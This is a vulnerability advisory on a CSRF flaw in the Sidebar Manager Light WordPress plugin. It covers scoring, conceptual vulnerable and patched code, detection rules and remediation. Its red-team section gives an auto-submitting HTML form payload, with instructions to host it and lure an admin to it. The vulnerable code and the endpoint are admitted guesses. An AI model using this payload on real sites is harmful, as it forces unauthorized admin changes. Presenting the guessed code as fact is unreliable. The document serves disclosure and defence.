CVE-2025-47647

Executive Summary

CVE-2025-47647 identifies a Cross-Site Request Forgery (CSRF) vulnerability in the OTWthemes Sidebar Manager Light plugin for WordPress, affecting versions from n/a through 1.18. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying sidebar configurations, without their knowledge or consent. The vulnerability is classified under CWE-352 and carries a CVSS v3.1 base score of 4.3 (Medium). As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. Since no patch is available, users are advised to consider removing or disabling the plugin until a fix is released. The lack of a patch increases supply chain risk for any site relying on this plugin for sidebar management.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – The attacker can modify sidebar settings.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The attack requires user interaction but can lead to unauthorized configuration changes.

Deep Dive & Mechanics

The vulnerability exists because the plugin fails to implement proper CSRF tokens or nonces on its administrative actions. When an authenticated WordPress administrator visits a crafted page or clicks a malicious link, the attacker can forge requests to the plugin’s settings endpoints. This can result in unauthorized changes to sidebar configurations, such as adding, deleting, or modifying widgets.

The attack flow:

1. The attacker crafts a malicious HTML page or email containing a CSRF payload.
2. The victim (an authenticated admin) interacts with the payload (e.g., clicks a link).
3. The victim’s browser sends a forged request to the WordPress admin area, executing the attacker’s desired action.
4. The plugin processes the request without verifying the origin, leading to unauthorized changes.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely lacks a nonce check in functions handling sidebar updates.

Vulnerable Code (Conceptual):

// In sidebar-manager-light/admin/class-sidebar-manager-light-admin.php
function save_sidebar_settings() {
    // No nonce verification
    update_option('sidebar_manager_light_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=sidebar-manager-light'));
}

Patched Code (Expected):

function save_sidebar_settings() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'sidebar_manager_light_save')) {
        wp_die('Security check failed.');
    }
    update_option('sidebar_manager_light_settings', $_POST['settings']);
    wp_redirect(admin_url('admin.php?page=sidebar-manager-light'));
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Sidebar Manager Light <= 1.18 installed and activated.
• An authenticated administrator session.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-post.php?action=sidebar_manager_light_save).
2. Craft a CSRF payload that modifies sidebar settings.

Example CSRF Payload (HTML):

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php?action=sidebar_manager_light_save" method="POST">
    <input type="hidden" name="settings" value='{"sidebar_id":"new_sidebar","widgets":["malicious_widget"]}' />
    <input type="submit" value="Click me" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Usage: Host this HTML on an attacker-controlled server and send the link to the victim admin. When the admin visits the page, the form auto-submits, executing the CSRF attack.

Blue Team

Detection:

• Monitor for unexpected POST requests to /wp-admin/admin-post.php with action parameters related to Sidebar Manager Light.
• Look for unusual changes in sidebar configurations in WordPress admin logs.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block requests missing a valid nonce.
• Educate administrators about phishing and CSRF risks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-post.php?action=sidebar_manager_light_save from unexpected referrers.
  • Repeated requests to the same endpoint without a valid nonce parameter.
• Host:
  • Unauthorized changes to the sidebar_manager_light_settings option in the WordPress database.
  • Presence of unknown widgets or sidebars in the WordPress admin interface.
• Logs:
  • WordPress debug logs showing failed nonce checks (if patched) or missing nonce errors.

Detection Engineering

YARA Rule

rule detect_cve_2025_47647_csrf {
    meta:
        description = "Detects CSRF exploitation attempts against Sidebar Manager Light plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47647"
    strings:
        $action = "action=sidebar_manager_light_save"
        $post = "POST"
    condition:
        $action and $post
}

Sigma Rule

title: CSRF Exploitation Attempt Against Sidebar Manager Light
id: 5a3b2c1d-8e7f-4a6b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to the vulnerable endpoint of Sidebar Manager Light plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=sidebar_manager_light_save'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47647 CSRF Attempt Against Sidebar Manager Light"; flow:to_server; http.method; content:"POST"; http.uri; content:"action=sidebar_manager_light_save"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the Sidebar Manager Light plugin until a patch is released.
2. Implement CSRF tokens manually by adding nonce checks to the plugin’s admin functions (if you have development resources).
3. Use a Web Application Firewall (WAF) to block requests missing a valid nonce.

Long-Term Fix:

• The vendor (OTWthemes) should release a patched version that includes proper nonce verification on all admin actions.
• Users should update to the latest version once available.

Workarounds:

• Restrict access to the WordPress admin area using IP whitelisting or VPN.
• Educate administrators to avoid clicking suspicious links while logged into WordPress.

Valters IT